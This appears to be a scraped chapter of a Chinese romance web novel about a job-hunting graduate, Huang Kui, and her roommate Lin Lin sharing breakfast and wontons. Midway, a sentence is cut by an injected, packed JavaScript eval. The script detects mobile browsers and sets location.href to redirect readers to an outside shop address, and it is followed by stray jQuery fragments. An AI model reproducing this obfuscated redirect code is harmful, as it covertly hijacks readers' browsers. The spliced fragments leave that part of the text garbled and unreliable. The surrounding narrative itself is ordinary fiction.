将醒未醒，脑子一片混沌，和瞌睡虫做着最后的斗争。


    黎葵手停在门轴上，晨曦从阳台落地窗洒进来，像是春天清晨蜜蜂刚采摘过的蜂蜜，洋溢温暖。


    眼睛睁开，聚焦，林霖的轮廓逐渐清晰。


    草绿色短袖衬得他气质清爽，锁骨线条利落，阳光漫在他身上，他眼眸荡着笑，夹着淡淡的温柔青春男大直视感。


    险些晃瞎她的眼……额滴神。


    黎葵直愣愣盯着林霖好几秒，才从对方那句“早安”缓过来，确定这不是幻觉。


    最多三步的距离，黎葵要不行了，她还没喝中药的！


    她真怕再像上次那样，她亲爱的胃和她的喉咙来个甜蜜的接触，在这个美好的早晨，为林霖再送上一份大礼！


    救命，昨天林霖被她弄脏的那件衣服他都还没洗呢。


    更要命的是——黎葵里面没穿内衣啊！


    林霖见黎葵只呆滞地看着他，伸出手在他面前晃了晃，误会她没听清，又说了遍：“早啊黎葵。”


    黎葵终于动了，可回以他的是“砰”的一道又急又快的关门声。


    手一往下摁，门开，黎葵跟泥鳅钻田似的，嗖一下从门缝缩进去，门关上还不够，还得反锁。


    她倚靠在墙上，为自己的机智狠狠点了个赞，同时又为自己这该死的娴熟反应捏了把辛酸泪。


    唉，也不知道她什么时候能好转。


    -


    门内的黎葵emo，门外的林霖自闭。


    “？”


    林霖不解，林霖疑惑。


    不该啊。


    他今早连发十来条微笑的自拍给吉辰轩，在激烈的淘汰制下，这个下颚微抬，眼睛嘴角都小幅度上扬45度，目光真诚地看着黎葵的笑容，获得c位出道。


    林霖自认非常友好，非常能表达出他对室友的美好祝福。


    林霖是这样想的，黎葵昨儿个都对她说晚安了，礼尚往来，他说句早安很正常，有来有往嘛。


    他想过很多种黎葵的反应，但避之不及的态度完全没在他的预料范围内。


    难道是……度数不够，没到45度，有点僵硬，吓到黎葵了？


    林霖越想越觉得有可能，瞅见已经九点，林霖给吉辰轩发去消息。


    Lin：[别睡了，你这个骗子/小刀小狗]


    吉吉国王：[bushi，兄弟我纯直男，你不要说出这么暧昧的话]


    Lin：[^^我室友被吓到了，你给我个说法，不然我/扛大炮的凯蒂猫]


    吉吉国王：[说我是骗子，咋地，和你室友一样骗你心了？！]


    吉辰轩最后半句话给林霖雷霆一击，庆幸黎葵没在，不然他这会比猴屁股还红的脸，肯定更吓人。


    Lin：[你胡说八道什么！都说了是我被暗恋！]


    吉吉国王：[……2G网，头一次听说被暗恋的人给暗恋的人紧张兮兮说‘早安’，活久见/翻白眼]


    Lin：[她昨晚都跟我说晚安了，我今天跟她说早安不是礼尚往来吗？]


    吉辰轩一早就欣赏过林霖半夜迫不及待分享给他的贴子。


    Lin:[看看我室友多温暖，人多好！]


    眼下再看见林霖的信息，他真恨不能一个大嘴巴子扇对方脸上。


    吉吉国王：[那是对你说的吗？！那是对网友说的！]


    Lin：[我就是网友，我还评论了]


    那不就是也对他说了。


    Lin：[算了，你还是睡觉吧，记得按要求尽快把凉茶寄过来]


    吉辰轩发了个一秒语音，充满怒气的一声“滚”，差点震破林霖的耳膜。


    Lin：[手疼，写一半的策划书有点不想写了]


    什么是吉辰轩速度。


    眨眼的功夫，吉辰轩把单号发来，他家就在隔壁省，估计晚上能到。


    吉吉国王：[兄弟，我最好的兄弟，我错了，您安心写策划书，其他的小的随时为您效劳！昨天不是说架子鼓有点问题？换，这就给您换新的！]


    Lin：[/竖中指]


    -


    黎葵重新换了身衣服，扎了个高丸子头，两捋碎发贴在耳后，白短袖灰色休闲裤，听见林霖在厨房忙活的动静，她转身去洗漱。


    黎葵刷牙会习惯性地发呆，看着镜子前的自己，黎葵不由想到刚才的一幕。


    头大，估计把林霖搞得一脸懵，说不定还会觉得她有病，虽然她也确实是有病。


    黎葵也是真没招了，她是真怕又上演大型呕吐现场，到时候更社死。


    想到这，黎葵侧头去找昨晚放在盆里的那件老头衫，却只看见个光溜溜的盆，里面还有点残留的水珠，唯独没看见衣服。


    “？”她记错了吗？


    黎葵用洗脸巾擦干脸，又回房间抹水乳，本来想涂个防晒霜，但想起来今天没面试估计也不会出门，就又放下。


    肚子咕噜噜叫，黎葵打算把冰箱里的速冻饺子煮了吃。


    下意识打开某书，一堆的红点点，黎葵看了眼主页，还好她没咋发贴，唯一一个算是涉及点个人信息的就是她上周凌晨猪瘾发作，怀念学校后门小摊阿姨的馄饨。


    七块钱一碗十个现包的新鲜猪肉馄饨，紫菜蛋汤底，再撒点葱花，黎葵忍不住想流口水。


    可惜啊，毕业了，只能吃点速饺子了。


    黎葵怀疑她馋出错觉，不然她怎么会闻到馄饨香，几乎一模一样的，她当时每周至少去吃三次的小馄饨。


    不是错觉，黎葵拐个弯，走到厨房就看见桌上摆着两晚小馄饨，还有水煮蛋、馒头、花卷……


    林霖见黎葵出来了，又道：“早啊。”


    这次绝对没问题，他刚练习好几遍，肯定有45度，没有他不信。


    黎葵目光停在那碗小馄饨上，慢一拍地说：“早。”


    看！他就说，就是角度不够标准的问题！


    林霖按捺住激动的心，说：“我早上醒得早，出门逛了逛，顺带买了早饭回来，还好现在天气不冷，还热着，就是不知道馄饨是不是坨了。”


    黎葵道了声“谢谢”。


    她没戴口罩，本想坐到长桌的另一头，可见林霖坐在对面，桌子也隔着距离，她那样的反应实在是太反常。


    黎葵顿了下，坐


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889207|192160||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在他对面。


    一直观察黎葵反应的林霖，暗中窃喜。


    nice！


    心酸啊，看来他伪装得不错，没被黎葵发现他知道了，不然估计又躲着他。


    黎葵先尝的馄饨，就吃了一口，舌尖比她先反应过来，就是那个味道！


    黎葵问道：“这个馄饨你是在哪儿买的？”


    问了问了，她终于问了！


    林霖面色平静地说：“就师大后门的一个小摊阿姨那，我早上出门遛弯遛到那儿，碰巧刷到贴子说这家的小馄饨很好吃，就买了两碗。”


    遛弯？


    师大离这里三公里。


    等等，贴子？


    黎葵木滞，救命，不会是她的贴吧？！


    转念又一想，应该不会，阿姨的馄饨摊当时被学生发到网上火了一阵，到现在还挺多人打卡的。


    黎葵下意识地搭话道：“是挺好吃的，我读研的时候每周都去吃。”


    林霖问：“你是师大的研究生？”


    黎葵点头。


    这熟悉的疑问，黎葵以为他也会说出她毕业以来听到的最多的那句“那你怎么还没找到工作”，微不受控地有点手抖，表情不自觉严肃麻木。


    林霖微夸张，语气挺自然：“学霸啊，室友。”


    警惕状态微卸下，黎葵却依旧很僵硬，她微微笑了下。


    其实，黎葵有点不好意思让旁人知道她是哪所学校毕业，是研究生，因为她这段时间在周围人口中听得最多的一句话就是。


    “双2又怎么了，硕士出来不还是找不到工作？有什么用？不如当初本科毕业就开始考试，说不定早考上了。”


    黎葵也曾自我怀疑，不过她仍坚定地觉得，她努力读书，读研，是值得的。


    读书的意义，不能用有没有找到工作来定义。


    读书很有用，至少她通过读书塑造了三观，能独立思考，能有选择的自由，让她有机会成为更好的自己。


    现阶段的困境，她相信会有办法解决的。


    不知道是不是熟悉的味道填满了心中的空虚，黎葵忽地心情好了不少。


    黎葵不吃葱，她没吃花卷，拿的馒头，看见上面沾了点葱，撇掉。


    林霖恰好瞧见，默不作声把两个小花卷都放到他面前，馒头挪到黎葵那儿。


    黎葵主动收拾碗筷，问林霖多少钱，林霖觉得没必要，但见她莫名执拗，林霖和她A了。


    洗碗时，水龙头哗哗出水，黎葵记起，问了句：“水龙头是物业来修了吗？”


    林霖说：“不是，那天在警局你不是说水管坏了，我看了眼问题不大，用家里现成的工具材料修好了。”


    林霖在国外留学时，简直把自己训练得十八般武艺厨艺样样精通。


    水淋在手上，黎葵侧头，看见林霖在阳台晾衣服，正是她昨天弄脏的那件，原来是他自己洗了。


    说不上来，黎葵觉着像是有软绵绵的阳光充盈在胸口，很舒服。


    擦完桌上的水渍。


    黎葵听见林霖问。


    “你今天有空吗？附近有个主题乐园挺不错，要去逛逛吗？”